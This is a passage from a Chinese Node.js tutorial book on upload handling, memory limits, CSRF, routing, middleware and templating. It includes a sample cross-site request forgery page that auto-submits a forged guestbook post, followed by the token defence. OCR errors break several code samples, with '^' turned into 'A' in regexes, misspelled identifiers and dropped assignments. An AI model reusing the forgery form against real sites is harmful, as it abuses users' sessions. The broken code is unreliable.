parseMultipart(req, done);
}
} else {
handle(req, res);
}
}
这里我们将req这个流对象直接交给对应的解析方法,由解析方法自行处理上传的内容,或接收内容并保存在内存中,或流式处理掉。
这里要介绍到的模块是formidable。
它基于流式处理解析报文,将接收到的文件写入到系统的临时文件夹中,并返回对应的路径,如下所示:
var formidable = require('formidable');
function(req, res) {
if (hasBody(req)) {
if (mime(req) === 'multipart/form-data') {
var form = new formidable.IncomingForm();
form.parse(req, function(err, fields, files) {
req.body = fields;
req.files = files;
handle(req, res);
});
}
} else {
handle(req, res);
}
}
因此在业务逻辑中只要检查req.body和r eq.files中的内容即可。
数据上传与安全
Node提供了相对底层的API,通过它构建各种各样的Web应用都是相对容易的,但是在Web应用中,不得不重视与数据上传相关的安全问题。
由于Node与前端JavaScript的近缘性,前端JavaScript甚至可以上传到服务器直接执行,但在这里我们并不讨论这样危险的动作,
而是介绍内存和CSRF相关的安全问题。
内存限制
在解析表单、JSON和XML部分,我们采取的策略是先保存用户提交的所有数据,然后再解析处理,最后才传递给业务逻辑。
这种策略存在潜在的问题是,它仅仅适合数据量小的提交请求, 一旦数据量过大,将发生内存被占光的情况。
攻击者通过客户端能够十分容易地模拟伪造大量数据,如果攻击者每次提交1MB的内容,那么只要并发请求数量一大,内存就会很快地被吃光。
要解决这个问题主要有两个方案。
- 限制上传内容的大小,一旦超过限制,停止接收数据,并响应400状态码。
- 通过流式解析,将数据流导向到磁盘中,Node只保留文件路径等小数据。
流式处理在上文的文件上传中已经有所体现,这里介绍一下Connect中采用的上传数据量的限制方式,如下所示:
var bytes = 1024;
function(req, res) {
var received = 0;
var len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null;
//如果内容超过长度限制,返回请求实体过长的状态码
if (len && len > bytes) {
res・ writeHead(413);
res.end();
return;
}
// limit
req.on('data', function(chunk) {
received += chunk.length;
if (received > bytes) {
//停止接收数据,触发end()
req・ destroy();
}
});
handle(req, res);
};
从上面的代码中我们可以看到,数据是由包含Content-Length的请求报文判断是否长度超过限制的,超过则直接响应413状态码。
对于没有Content-Length的请求报文,略微简略一点,在每个data事件中判定即可。
一旦超过限制值,服务器停止接收新的数据片段。
如果是JSON文件或 XML文件,极有可能无法完成解析。
对于上线的Web应用,添加一个上传大小限制十分有利于保护服务器,在遭遇攻击时,能镇定从容应对。
CSRF
CSRF的全称是Cross-Site Request Forgery,中文意思为跨站请求伪造。
前文提及了服务器端与客户端通过Cookie来标识和认证用户,通常而言,用户通过浏览器访问服务器端的SessionID 是无法被第三方知道的,但是CSRF的攻击者并不需要知道Session ID就能让用户中招。
为了详细解释CSRF攻击是怎样一个过程,这里以一个留言的例子来说明。
假设某个网站有这样一个留言程序,提交留言的接口如下所示:
http://domain_a.com/guestbook
用户通过POST提交content字段就能成功留言。
服务器端会自动从Session数据中判断是谁提交的数据,补足username和updatedAt两个字段后向数据库中写入数据,如下所示:
function(req, res) {
var content = req.body.content || '';
var username = req.session.username;
var feedback = {
username: username,
content: content,
updatedAt: Date.now()
};
db.save(feedback, function(err) {
res.writeHead(200);
res.end('Ok');
});
}
正常的情况下,谁提交的留言,就会在列表中显示谁的信息。
如果某个攻击者发现了这里的接口存在CSRF漏洞,那么他就可以在另一个网站(http://domain_b.com/attack)上构造了一个表单提交,如下所示:
<form id="test" method="POST" action="http://domain_a.com/guestbook">
<input type="hidden" name="content" value="vim 是这个世界上最好的编辑器"/>
</form>
<script type="text/javascript">
$(function () {
$("#test") .submit()
});
</script>
这种情况下,攻击者只要弓I诱某个domain_a的登录用户访问这个domain_b的网站,就会自动提交一个留言。
由于在提交到domain_a的过程中,浏览器会将domain_a的Cookie发送到服务器, 尽管这个请求是来自domain_b的,但是服务器并不知情,用户也不知情。
以上过程就是一个CSRF攻击的过程。这里的示例仅仅是一个留言的漏洞,如果出现漏洞的是转账的接口,那么其危害程度可想而知。
尽管通过Node接收数据提交十分容易,但是安全问题还是不容忽视。好在CSRF并非不可防 御,解决CSRF攻击的方案有添加随机值的方式,如下所示:
var generateRandom = function(len) {
return crypto.randomBytes(Math.ceil(len * 3 / 4))
.toString('base64')
.slice(0, len);
};
也就是说,为每个请求的用户,在Session中赋予一个随机值,如下所示:
var token = req.session._csrf || (req.session._csrf = generateRandom(24));
在做页面渲染的过程中,将这个_ csrf值告之前端,如下所示:
<form id="test" method="POST" action="http://domain_a.com/guestbook">
<input type="hidden" name="content" value="vim 是这个世界上最好的编辑器"/>
<input type="hidden" name="_csrf" value="<%=_csrf%>" />
</form>
由于该值是一个随机值,攻击者构造出相同的随机值的难度相当大,所以我们只需要在接收 端做一次校验就能轻易地识别出该请求是否为伪造的,如下所示:
function(req, res) {
var token = req.session._csrf || (req.session._csrf = generateRandom(24));
var _csrf = req.body._csrf;
if (token !== _csrf) {
res.writeHead(403);
res.end("禁止访问");
} else {
handle(req, res);
}
}
_csrf字段也可以存在于查询字符串或者请求头中。
路由解析
前文讲述了许多Web请求过程中的预处理过程,对于不同的业务,我们还是期望有不同的处理方式,这带来了路由的选择问题。
本节将会介绍以下三种路由方式
- 文件路径
- MVC
- RESTful
文件路径
静态文件
URL的路径与网站目录的路径一致,无须转换,非常直观。
动态文件
在MVC模式流行起来之前,根据文件路径执行动态脚本也是基本的路由方式,
它的处理原理是Web服务器根据URL路径找到对应的文件,如/index.asp或/index.php。
Web服务器根据文件名后缀去寻找脚本的解析器,并传入HTTP请求的上下文。
以下是Apache中配置PHP支持的方式:
AddType application/x-httpd-php .php
解析器执行脚本,并输出响应报文,达到完成服务的目的。
现今大多数的服务器都能很智能地根据后缀同时服务动态和静态文件。
这种方式在Node中不太常见,主要原因是文件的后缀都是.js,分不清是后端脚本,还是前端脚本,这可不是什么好的设计。
而且Node中Web服务器与应用业务脚本是一体的,无须按这种方式实现。
MVC
在MVC流行之前,主流的处理方式都是通过文件路径进行处理的,甚至以为是常态。
直到有一天开发者发现用户请求的URL路径原来可以跟具体脚本所在的路径没有任何关系。
MVC模型的主要思想是将业务逻辑按职责分离,主要分为以下几种。
- 控制器(Controller), 一组行为的集合。
- 模型(Model),数据相关的操作和封装。
- 视图(View),视图的渲染。
这是目前最为经典的分层模式(如图8-3所示),大致而言,它的工作模式如下说明。- 路由解析,根据URL寻找到对应的控制器和行为。
- 行为调用相关的模型,进行数据操作。
- 数据操作结束后,调用视图和相关数据进行页面渲染,输出到客户端。
控制器如何调用模型和如何渲染页面,各种实现都大同小异。
如何根据URL做路由映射,这里有两个分支实现。
- 一种方式是通过手工关联映射
- 一种是自然关联映射
前者会有一个对应的路由文件来将URL映射到对应的控制器,后者没有这样的文件。
手工映射
手工映射除了需要手工配置路由外较为原始外,它对URL的要求十分灵活,几乎没有格式上的限制。
如下的URL格式都能自由映射:
/user/setting
/setting/user
这里假设已经拥有了一个处理设置用户信息的控制器,如下所示:
exports.setting = function (req, res) {
// TODO
};
再添加一个映射的方法就行,为了方便后续的行文,这个方法名叫use(),如下所示:
var routes = [];
var use = function (path, action) {
routes.push([path, action]);
};
我们在入口程序中判断URL,然后执行对应的逻辑,于是就完成了基本的路由映射过程,如 下所示:
function(req, res) {
var pathname = url.parse(req.url).pathname;
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
if (pathname === route[0]) {
var action = route[1];
action(req, res);
return;
}
}
// 处理404请求
handle404(req, res);
}
手工映射十分方便,由于它对URL十分灵活,所以我们可以将两个路径都映射到相同的业务 逻辑,如下所示:
use('/user/setting', exports.setting);
use('/setting/user', exports.setting);
//甚至
use('/setting/user/jacksontian', exports.setting);
正则匹配
对于简单的路径,采用上述的硬匹配方式即可,但是如下的路径请求就完全无法满足需求了:
/profile/jacksontian
/profile/hoover
这些请求需要根据不同的用户显示不同的内容,这里只有两个用户,假如系统中存在成千上万个用户,我们就不太可能去手工维护所有用户的路由请求,因此正则匹配应运而生,我们期望通过以下的方式就可以匹配到任意用户:
use('/profile/:username', function (req, res) {
// TODO
});
于是我们改进我们的匹配方式,在通过use注册路由时需要将路径转换为一个正则表达式, 然后通过它来进行匹配,如下所示:
var pathRegexp = function(path) {
path = path
.concat(strict ? '' : '/?')
.replace(/\/\(/g, '(?:/')
.replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function(_, slash, format, key, capture, optional, star) {
slash = slash || '';
return '' +
(optional ? '' : slash) +
'(?:' +
(optional ? slash : '') +
(format || '') + (capture || (format && '([A/.]+?)' || '([A/]+?)')) + ')' +
(optional || '') +
(star ? '(/*)?' : '');
})
.replace(/([\/.])/g, '\\$1')
.replace(/\*/g, '(.*)');
return new RegExp('A' + path + '$');
}
// 上述正则表达式十分复杂,总体而言,它能实现如下的匹配:
// /profile/:username => /profile/jacksontian, /profile/hoover
// /user.:ext => /user.xml, /user.json
现在我们重新改进注册部分:
var use = function (path, action) {
routes.push([pathRegexp(path), action]);
};
以及匹配部分:
function(req, res) {
var pathname = url・ parse(req・ url).pathname;
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
// 正则匹配
if (route[0].exec(pathname)) {
var action = route[1];
action(req, res);
return;
}
}
// 处理404请求
handle404(req, res);
}
现在我们的路由功能就能够实现正则匹配了,无须再为大量的用户进行手工路由映射了。
参数解析
尽管完成了正则匹配,可以实现相似URL的匹配,但是:username到底匹配了啥,还没有解决。
为此我们还需要进一步将匹配到的内容抽取出来,希望在业务中能如下这样调用:
use('/profile/:username', function (req, res) {
var username = req.params.username;
// TODO
});
这里的目标是将抽取的内容设置到req.params处。那么第一步就是将键值抽取出来,如下所示:
var pathRegexp = function(path) {
var keys = [];
path = path
.concat(strict ? '' : '/?')
.replace(/\/\(/g, '(?:/')
.replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function(_, slash, format, key, capture,
optional, star) {
// 将匹配到的键值保存起来
keys.push(key);
slash = slash || '';
return '' +
(optional ? '' : slash) +
'(?:' +
(optional ? slash : '') +
(format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')' +
(optional || '') +
(star ? '(/*)?' : '');
})
.replace(/([\/.])/g, '\\$1')
.replace(/\*/g, '(.*)');
return {
keys: keys,
regexp: new RegExp('^' + path + '$')
};
}
我们将根据抽取的键值和实际的URL得到键值匹配到的实际值,并设置到req.params处,如 下所示:
function(req, res) {
var pathname = url.parse(req.url).pathname;
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
// 正则匹配
var reg = route[0].regexp;
var keys = route[0].keys;
var matched = reg.exec(pathname);
if (matched) {
// 抽取具体值
var params = {};
for (var i = 0, l = keys.length; i < l; i++) {
var value = matched[i + 1];
if (value) {
params[keys[i]] = value;
}
}
req.params = params;
var action = route[1];
action(req, res);
return;
}
}
// 处理404请求
handle404(req, res);
}
至此,我们除了从查询字符串(req.query)或提交数据(req.body)中取到值外,还能从路径的映射里取到值。
自然映射
手工映射的优点在于路径可以很灵活,但是如果项目较大,路由映射的数量也会很多。
从前端路径到具体的控制器文件,需要进行查阅才能定位到实际代码的位置,为此有人提出,尽是路由不如无路由。
实际上并非没有路由,而是路由按一种约定的方式自然而然地实现了路由,而无须去维护路由映射。
上文的路径解析部分对这种自然映射的实现有稍许介绍,简单而言,它将如下路径进行了划 分处理:
/controller/action/param1/param2/param3
以/user/setting/12/1987为例,它会按约定去找controllers目录下的user文件,将其require出来后,调用这个文件模块的setting()方法,而其余的值作为参数直接传递给这个方法。
function(req, res) {
var pathname = url.parse(req.url).pathname;
var paths = pathname.split('/');
var controller = paths[1] || 'index';
var action = paths[2] || 'index';
var args = paths.slice(3);
var module;
try {
// require的缓存机制使得只有第一次是阻塞的
module = require('./controllers/' + controller);
} catch (ex) {
handle500(req, res);
return;
}
var method = module[action]
if (method) {
method.apply(null, [req, res].concat(args));
} else {
handle500(req, res);
}
}
由于这种自然映射的方式没有指明参数的名称,所以无法采用req.params的方式提取,但是直接通过参数获取更简洁,如下所示:
xports.setting = function (req, res, month, year) {
// 如果路径为/user/setting/12/1987,那么month为 12, year为 1987
// TODO
};
与手工映射相比,如果URL变动,它的文件也需要发生变动,手工映射只需要改动路由映射即可。
RESTful
REST的设计就是,通过URL设计资源、请求方法定义资源的操作,通过Accept决定资源的表现形式。
REST的全称是Representational State Transfer,中文含义为表现层状态转化。
符合REST规范的设计,我们称为RESTful设计。
它的设计哲学主要将服务器端提供的内容实体看作一个资源, 并表现在URL上。
比如一个用户的地址如下所示:
/users/jacksontian
这个地址代表了一个资源,对这个资源的操作,主要体现在HTTP请求方法上,不是体现在URL上。
过去我们对用户的增删改查或许是如下这样设计URL的:
POST /user/add?username=jacksontian
GET /user/remove?username=jacksontian
POST /user/update?username=jacksontian
GET /user/get?username=jacksontian
操作行为主要体现在行为上,主要使用的请求方法是POST和GET。
在RESTful设计中,它是如下这样的:
POST /user/jacksontian
DELETE /user/jacksontian
PUT /user/jacksontian
GET /user/jacksontian
它将DELETE和PUT请求方法引入设计中,参与资源的操作和更改资源的状态。
对于这个资源的具体表现形态,也不再如过去一样表现在URL的文件后缀上。
过去设计资源的格式与后缀有很大的关联,例如:
GET /user/jacksontian.json
GET /user/jacksontian.xml
在RESTful设计中,资源的具体格式由请求报头中的Accept字段和服务器端的支持情况来决定。
如果客户端同时接受JSON和XML格式的响应,那么它的Accept字段值是如下这样的:
Accept: application/json,application/xml
靠谱的服务器端应该要顾及这个字段,然后根据自己能响应的格式做出响应。
在响应报文中, 通过Content-Type字段告知客户端是什么格式,如下所示:
Content-Type: application/json
具体格式,我们称之为具体的表现。
所以REST的设计就是,通过URL设计资源、请求方法定义资源的操作,通过Accept决定资源的表现形式。
和MVC区别
RESTful与MVC设计并不冲突,而且是更好的改进。
相比MVC, RESTful只是将HTTP请求方法也加入了路由的过程,以及在URL路径上体现得更资源化。
请求方法
为了让Node能够支持RESTful需求,我们改进了我们的设计。
如果use是对所有请求方法的处 理,那么在RESTful的场景下,我们需要区分请求方法设计。
示例如下所示:
var routes = { 'all': [] };
var app = {};
app.use = function(path, action) {
routes.all.push([pathRegexp(path), action]);
};
['get', 'put', 'delete', 'post'].forEach(function(method) {
routes[method] = [];
app[method] = function(path, action) {
routes[method].push([pathRegexp(path), action]);
};
});
上面的代码添加了get()、put()、delete()、post()4个方法后,我们希望通过如下的方式完成路由映射:
//增加用户
app.post('/user/:username', addUser);
//删除用户
app.delete('/user/:username', removeUser);
//修改用户
app.put('/user/:username', updateUser);
//查询用户
app.get('/user/:username', getUser);
这样的路由能够识别请求方法,并将业务进行分发。
为了让分发部分更简洁,我们先将匹配 的部分抽取为match()方法,如下所示:
var match = function(pathname, routes) {
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
//正则匹配
var reg = route[0].regexp;
var keys = route[0].keys;
var matched = reg.exec(pathname);
if (matched) {
//抽取具体值
var params = {};
for (var i = 0, l = keys.length; i < l; i++) {
var value = matched[i + 1];
if (value) {
params[keys[i]] = value;
}
}
req.params = params;
var action = route[1];
action(req, res);
return true;
}
}
return false;
};
然后改进我们的分发部分,如下所示:
function(req, res) {
var pathname = url.parse(req.url).pathname;
// 将请求方法变为小写
var method = req.method.toLowerCase();
if (routes.hasOwnPerperty(method)) {
// 根据请求方法分发
if (match(pathname, routes[method])) {
return;
} else {
// 如果路径没有匹配成功,尝试让all()来处理
if (match(pathname, routes.all)) {
return;
}
}
} else {
// 直接让all()来处理
if (match(pathname, routes.all)) {
return;
}
}
// 处理404请求
handle404(req, res);
}
如此,我们完成了实现RESTful支持的必要条件。
这里的实现过程采用了手工映射的方法完成,事实上通过自然映射也能完成RESTful的支持,但是根据Controller/Action的约定必须要转化为Resource/Method的约定,此处已经引出实现思路,不再详述。
目前RESTful应用已经开始广泛起来,随着业务逻辑前端化、客户端的多样化,RESTful模式以其轻量的设计,得到广大开发者的青睐。
对于多数的应用而言,只需要构建一套RESTful服务接口,就能适应移动端、PC端的各种客户端应用。
中间件
对于Web 应用而言,我们希望不用接触到这么多细节性的处理,为此我们引入中间件(middleware )来简化和隔离这些基础设施与业务逻辑之间的细节,让开发者能够关注在业务的开发上,以达到提升开发效率的目的。
在最早的中间件的定义中,它是一种在操作系统上为应用软件提供服务的计算机软件。
它既 不是操作系统的一部分,也不是应用软件的一部分,它处于操作系统与应用软件之间,让应用软 件更好、更方便地使用底层服务。
如今中间件的含义借指了这种封装底层细节,为上层提供更方便服务的意义,并非限定在操作系统层面。
这里要提到的中间件,就是为我们封装上文提及的所 有HTTP请求细节处理的中间件,开发者可以脱离这部分细节,专注在业务上。
中间件的行为比较类似Java中过滤器(filter)的工作原理,就是在进入具体的业务处理之前, 先让过滤器处理。它的工作模型如图8-4所示。
如同图8-4所示,从HTTP请求到具体业务逻辑之间,其实有很多的细节要处理。
Node的http模块提供了应用层协议网络的封装,对具体业务并没有支持,在业务逻辑之下,必须有开发框架对业务提供支持。
这里我们通过中间件的形式搭建开发框架,这个开发框架用来组织各个中间件。
对于Web应用的各种基础功能,我们通过中间件来完成,每个中间件处理掉相对简单的逻辑,最 终汇成强大的基础框架。
由于中间件就是前述的那些基本功能,所以它的上下文也就是请求对象和响应对象:req和 res。
有一点区别的是,由于Node异步的原因,我们需要提供一种机制,在当前中间件处理完成后,通知下一个中间件执行。
这里我们还是采用Connect 的设计,通过尾触发的方式实现。一个基本的中间件会是如下的形式:
var middleware = function (req, res, next) {
// TODO
next();
}
按照预期的设计,我们为具体的业务逻辑添加中间件应该是很轻松的事情,通过框架支持, 能够将所有的基础功能支持串联起来,
如下所示:
app.use('/user/:username', querystring, cookie, session, function (req, res) {
// TODO
});
这里的querystring、cookie、session中间件与前文描述的功能大同小异如下所示:
// querystring解析中间件
var querystring = function(req, res, next) {
req.query = url.parse(req.url, true).query;
next();
};
// cookie解析中间件
var cookie = function(req, res, next) {
var cookie = req.headers.cookie;
var cookies = {};
if (cookie) {
var list = cookie・ split(';');
for (var i = 0; i < list.length; i++) {
var pair = list[i].split('=');
cookies[pair[0].trim()] = pair[1];
}
}
req.cookies = cookies;
next();
};
可以看到这里的中间件都是十分简洁的,接下来我们需要组织起这些中间件。
这里我们将路 由分离开来,将中间件和具体业务逻辑都看成业务处理单元,改进use()方法如下所示:
app.use = function(path) {
var handle = {
//第一个参数作为路径
path: pathRegexp(path),
//其他的都是处理单元
stack: Array.prototype.slice.call(arguments, 1)
};
routes.all.push(handle);
};
改进后的use()方法将中间件都存进了stack数组中保存,等待匹配后触发执行。
由于结构发生改变,那么我们的匹配部分也需要进行修改,如下所示:
var match = function(pathname, routes) {
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
//正则匹配
var reg = route.path.regexp;
var matched = reg.exec(pathname);
if (matched) {
//抽取具体值
//代码省略
//将中间件数组交给handle()方法处理
handle(req, res, route.stack);
return true;
}
}
return false;
};
一旦匹配成功,中间件具体如何调动都交给了handle()方法处理,该方法封装后,递归性地 执行数组中的中间件,每个中间件执行完成后,按照约定调用传入next()方法以触发下一个中间件执行(或者直接响应),直到最后的业务逻辑。
代码如下所示:
var handle = function(req, res, stack) {
var next = function() {
//从stack数组中取出中间件并执行
var middleware = stack.shift();
if (middleware) {
//传入next()函数自身,使中间件能够执行结束后递归
middleware(req, res, next);
}
};
//启动执行
next();
};
这里带来的疑问是,像querystring、cookie、session这样基础的功能中间件是否需要为每个路由都进行设置呢?
如果都设置将会演变成如下的路由配置:
app・get(/user/:username', querystring, cookie, session, getUser);
app・put(/user/:username', querystring, cookie, session, updateUser);
// 更多路由
为每个路由都配置中间件并不是一个好的设计,既然中间件和业务逻辑是等价的,那么我们 是否可以将路由和中间件进行结合?
设计是否可以更人性?既能照顾普适的需求,又能照顾特殊的需求?答案是Yes,如下所示:
app.use(querystring);
app.use(cookie);
app.use(session);
app.get('/user/:username', getUser);
app.put('/user/:username', authorize, updateUser);
为了满足更灵活的设计,这里持续改进我们的use()方法以适应参数的变化,如下所示:
app.use = function(path) {
var handle;
if (typeof path === 'string') {
handle = {
//第一个参数作为路径
path: pathRegexp(path),
//其他的都是处理单元
stack: Array.prototype.slice.call(arguments, 1)
};
} else {
handle = {
//第一个参数作为路径
path: pathRegexp('/'),
//其他的都是处理单元
stack: Array.prototype.slice.call(arguments, 0)
};
}
routes.all.push(handle);
};
除了改进use()方法外,还要持续改进我们的匹配过程,与前面一旦一次匹配后就不再执行后续匹配不同,还会继续后续逻辑,
这里我们将所有匹配到中间件的都暂时保存起来,如下所示:
var match = function(pathname, routes) {
var stacks = [];
for (var i = 0; i < routes.length; i++) {
var route = routes[i];
//正则匹配
var reg = route.path.regexp;
var matched = reg.exec(pathname);
if (matched) {
//抽取具体值
//代码省略 //将中间件都保存起来
stacks = stacks.concat(route.stack);
}
}
return stacks;
};
改进完use()方法后,还要持续改进分发的过程:
function(req, res) {
var pathname = url.parse(req.url).pathname;
//将请求方法变为小写
var method = req・ method・ toLowerCase();
//获取all()方法里的中间件
var stacks = match(pathname, routes.all);
if (routes.hasOwnPerperty(method)) {
//根据请求方法分发,获取相关的中间件 stacks・concat(match(pathname, routes[method]));
}
if (stacks.length) {
handle(req, res, stacks);
} else {
//处理404请求
handle404(req, res);
}
}
综上所述,通过中间件和路由的协作,我们不知不觉之间已经将复杂的事情简化下来,Web 应用开发者可以只关注业务开发就能胜任整个开发工作。
异常处理
如果某个中间件出现错误该怎么办?我们需要为自己构建的Web应用的稳定性和健壮性负责。
于是我们为next()方法添加err参数,并捕获中间件直接抛出的同步异常,如下所示:
var handle = function(req, res, stack) {
var next = function(err) {
if (err) {
return handle500(err, req, res, stack);
}
//从stack数组中取出中间件并执行
var middleware = stack.shift();
if (middleware) {
//传入next()函数自身,使中间件能够执行结束后递归
try {
middleware(req, res, next);
} catch (ex) {
next(err);
}
}
};
//启动执行
next();
};
由于异步方法的异常不能直接捕获,中间件异步产生的异常需要自己传递出来,
如下所示:
var session = function(req, res, next) {
var id = req.cookies.sessionid;
store.get(id, function(err, session) {
if (err) {
//将异常通过next ()传递
return next(err);
}
req.session = session;
next();
});
};
Next()方法接到异常对象后,会将其交给handle500()进行处理。
为了将中间件的思想延续下 去,我们认为进行异常处理的中间件也是能进行数组式处理的。
由于要同时传递异常,所以用于 处理异常的中间件的设计与普通中间件略有差别,它的参数有4个,如下所示
var middleware = function (err, req, res, next) {
// TODO
next();
};
我们通过use()可以将所有异常处理的中间件注册起来,如下所示:
app.use(function (err, req, res, next) {
// TODO
});
为了区分普通中间件和异常处理中间件,handle500()方法将会对中间件按参数进行进行选取,然后递归执行。
var handle500 = function(err, req, res, stack) {
//选取异常处理中间件
stack = stack.filter(function(middleware) {
return middleware.length === 4;
});
var next = function() {
//从stack数组中取出中间件并执行
var middleware = stack・ shift();
if (middleware) {
//传递异常对象
middleware(err, req, res, next);
}
};
//启动执行
next();
};
中间件与性能
前文我们添加了强大的中间件组织能力,如果注意到一个现象的话,那就是我们的业务逻辑往往是在最后才执行。
为了让业务逻辑提早执行,尽早响应给终端用户,中间件的编写和使用是需要一番考究的。下面是两个主要的能提升的点。
- 编写高效的中间件。
- 合理利用路由,避免不必要的中间件执行。
编写高效的中间件
编写高效的中间件其实就是提升单个处理单元的处理速度,以尽早调用next()执行后续逻辑。
需要知道的事情是,一旦中间件被匹配,那么每个请求都会使该中间件执行一次,哪怕它只浪费1毫秒的执行时间,都会让我们的QPS显著下降。常见的优化方法有几种。
- 使用高效的方法。必要时通过jsperf.com测试基准性能。
- 缓存需要重复计算的结果(需要控制缓存用量)。
- 避免不必要的计算。比如HTTP报文体的解析,对于GET方法完全不需要。
合理使用路由
在拥有一堆高效的中间件后,并不意味着每个中间件我们都使用,合理的路由使得不必要的中间件不参与请求处理的过程。
这里以一个示例来说明该问题。
假设我们这里有一个静态文件的中间件,它会对请求进行判断,如果磁盘上存在对应文件, 就响应对应的静态文件,否则就交由下游中间件处理,如下所示:
如果我们以如下的方式注册路由:
app・use(staticFile);
那么意味着对/路径下的所有URL请求都会进行判断。又由于它中间涉及到了磁盘I/O,如果成 功匹配,它的效率还行,但是如果不成功匹配,每次的磁盘I/O都是对性能的浪费,使QPS直线下降。
对于这种情况,我们需要做的是提升匹配成功率,那么就不能使用默认的/路径来进行匹配 了,因为它的误伤率太高。给它添加一个更好的路由路径是个不错的选择,如下所示:
app.use('/public', staticFile);
这样只有/public路径会匹配上,其余路径根本不会涉及该中间件。
小结
中间件使得前文的基础功能,从凌乱的发散状态收敛成很规整的组织方式。
对于单个中间件 而言,它足够简单,职责单一。
与像面条一样杂糅在一起的逻辑判断相比,它具备更好的可测试性。
中间件机制使得Web应用具备良好的可扩展性和可组合性,可以轻易地进行数据增删。
从某种角度来讲它就是Unix哲学的一个实现,专注简单,小而美,然后通过组合使用,发挥出强大的能量。
页面渲染
这里的“页面渲染”是个狭义的标题,我们其实响应的可能是一个 HTML网页,也可能是CSS、JS文件,或者是其他多媒体文件。
这里我们要承接上文谈论的HTTP 响应实现的技术细节,主要包含内容响应和页面渲染两个部分。
对于过去流行的ASP、PHP、JSP等动态网页技术,页面渲染是一种内置的功能。
但对于Node 来说,它并没有这样的内置功能,在本节的介绍中,你会看到正是因为标准功能的缺失,我们可以更贴近底层,发展出更多更好的渲染技术,社区的创造力使得Nod e在HTTP响应上呈现出更加丰富多彩的状态。
内容响应
介绍过http模块封装了对请求报文和响应报文的操作,在这里我们则展开说明应用层该如何使用响应的封装。
服务器端响应的报文,最终都要被终端处理。
这个终端可能是命令行终端,也可能是代码终端,也可能是浏览器。
服务器端的响应从一定程度上决定或指示了客 户端该如何处理响应的内容。
内容响应的过程中,响应报头中的Content-*字段十分重要。
MIME
如果想要客户端用正确的方式来处理响应内容,了解MIME必不可少。
MIME的全称是Multipurpose Internet Mail Extensions,从名字可以看出,它最早用于电子邮件,后来也应用到浏览器中。
不同的文件类型具有不同的MIME值,如JSON文件的值为 application/json、XML文件的值为application/xml、PDF文件的值为application/pdf。
附件下载
在一些场景下,无论响应的内容是什么样的MIME值,需求中并不要求客户端去打开它,只 需弹出并下载它即可。
为了满足这种需求,Content-Disposition字段应声登场。
Content-Disposition 字段影响的行为是客户端会根据它的值判断是应该将报文数据当做即时浏览的内容,还是可下载的附件。
当内容只需即时查看时,它的值为inline,当数据可以存为附件时,它 的值为attachment。
另外,Content-Disposition字段还能通过参数指定保存时应该使用的文件名。
示例如下:
Content-Disposition: attachment; filename="filename.ext"
响应JSON
为了快捷地响应JSON数据,我们也可以如下这样进行封装:
res.json = function (json) {
res・setHeader('Content-Type', 'application/json');
res・writeHead(200);
res・end(JSON・stringify(json));
};
响应跳转
当我们的URL因为某些问题(譬如权限限制)不能处理当前请求,需要将用户跳转到别的 URL时,我们也可以封装出一个快捷的方法实现跳转,如下所示:
res.redirect = function (url) {
res.setHeader('Location', url);
res・writeHead(302);
res.end('Redirect to ' + url);
};
视图渲染
Web应用的内容响应形式十分丰富,可以是静态文件内容,也可以是其他附件文件,也可以是跳转等。
这里我们回到主流的普通的HTML内容的响应上,总称视图渲染。
Web应用最终呈现 在界面上的内容,都是通过一系列的视图渲染呈现出来的。
在动态页面技术中,最终的视图是由模板和数据共同生成出来的。
模板是带有特殊标签的HTML片段,通过与数据的渲染,将数据填充到这些特殊标签中,最后生成普通的带数据的HTML片段。
通常我们将渲染方法设计为render(),参数就是模板路径和数据,如下所示:
res.render = function(view, data) {
res・ setHeader('Content-Type', 'text/html');
res・ writeHead(200);
//实际渲染
var html = render(view, data);
res.end(html);
}
在Node中,数据自然是以JSON为首选,但是模板却有太多选择可以使用了。
上面代码中的render ()我们可以将其看成是一个约定接口,接受相同参数,最后返回HTML片段。
这样的方法我们都视作实现了这个接口。
模版
最早的服务器端动态页面开发,是在CGI程序或se rvlet中输出HTML片段,通过网络流输出 到客户端,客户端将其渲染到用户界面上。
这种逻辑代码与HTML输出的代码混杂在一起的开发 方式,导致一个小小的UI改动都要大动干戈,甚至需要重新编译。
为了改良这种情况,使HTML 与逻辑代码分离开来,催生出一些服务器端动态网页技术,如ASP、PHP、JSP。
它们将动态语言 部分通过特殊的标签(ASP和JSP以<% %>作为标志,PHP则以<? ?>作为标志)包含起来,通过HTML 和模板标签混排,将开发者从输出HTML的工作中解脱出来。
这样的方法虽然一定程度上减轻了 开发维护的难度,但是页面里还是充斥着大量的逻辑代码。
这催生了MVC在动态网页技术中的 发展,MVC将逻辑、显示、数据分离开来的方式,大大提高了项目的可维护性。
其中模板技术就在这样的发展中逐渐成熟起来的。
尽管模板技术看起来在MVC时期才广泛使用,但不可否认的是如ASP、PHP、JSP,它们其实就是最早的模板技术。
模板技术虽然多种多样,但它的实质就是将模板文件****和数据通过模板引擎生成最终的HTML代码。
形成模板技术的也就如下4个要素。
- 模板语言。
- 包含模板语言的模板文件。
- 拥有动态数据的数据对象。
- 模板引擎。
对于ASP、PHP、JSP而言,模板属于服务器端动态页面的内置功能,模板语言就是它们的宿主语言(VBScript、JScript、PHP、Java),模板文件就是以.php、.asp、.jsp为后缀的文件,模板引擎就是Web容器。
这个时期的模板极度依赖上下文,甚至要处理整个HTTP的请求对象。
随后模板语言的发展 使得模板可以脱离上下文环境,只有数据对象就可以执行。
如PHP中的PHPLIB Template和 FastTemplate、Java的XSTL,以及Velocity、JDynamiTe、Tapestry等模板。
这类模板的缺点在于它的实现与宿主语言有很大的关联性,由于各种语言采用的模板语言不 同,包含各种特殊标记,导致移植性较差。
早期的企业一旦选定编程语言就不会轻易地转换环境, 所以较少有开发者去开发新的模板语言和模板引擎来适应不同的编程语言。
如今异构系统越来 多,模板能够应用到多门编程语言中的这种需求也开始呈现出来。
破局者是Mustache,它宣称自己是弱逻辑的模板(logic-less templates ),定义了以{{}}为标 志的一套模板语言,并给出了十多门编程语言的模板引擎实现,使得采用它作为模板具备很好的可移植性。
